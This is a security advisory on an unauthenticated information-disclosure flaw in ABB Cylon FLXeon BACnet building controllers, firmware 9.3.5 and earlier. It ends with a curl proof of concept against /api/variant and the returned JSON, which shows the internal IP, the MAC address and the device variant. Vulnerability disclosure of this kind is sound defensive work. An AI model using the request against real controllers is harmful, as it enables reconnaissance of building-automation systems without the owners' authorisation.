📄 ABB Cylon FLXeon 9.3.5 variant.js Information Disclosure

ABB Cylon FLXeon 9.3.5 (variant.js) Unauthenticated System Information Disclosure
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb                   
    Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                      CBX Series (FLX Series)
                      CBT Series
                      CBV Series
                      Firmware: <=9.3.5
    
    Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
    series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
    building management solutions. ABB BACnet controllers are designed for intelligent
    control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    heat pump systems, air handling units (constant volume, variable air volume, and
    multi-zone), rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    connectivity and open integration for your building automation systems. It's scalable,
    and modular, allowing you to control a diverse range of HVAC functions.
    
    Desc: The ABB Cylon FLXeon BACnet controller's /api/variant endpoint exposes sensitive
    system information, including the internal IP address, MAC address, device model, and
    build type, without requiring authentication. The get() function gathers network
    interface data using the os.networkInterfaces() API and returns it in the HTTP response,
    potentially allowing unauthenticated clients to fingerprint internal infrastructure
    and gain insight into the device's network configuration and hardware characteristics.
    
    Tested on: Linux Kernel 5.4.27
               Linux Kernel 4.15.13
               NodeJS/8.4.0
               Express
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5937
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5937.php
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
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             ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
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             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
    
    $ curl -k https://7.3.3.1/api/variant
    {"ipaddr":"192.168.1.10","mac":"00:00:00:00:xx:xx","variant":{"variant":"CBXi","onboardIo":true,"router":true,"ser485-ports":[["mstp","ctlmbus","none"],["ctlstat","none"]]}}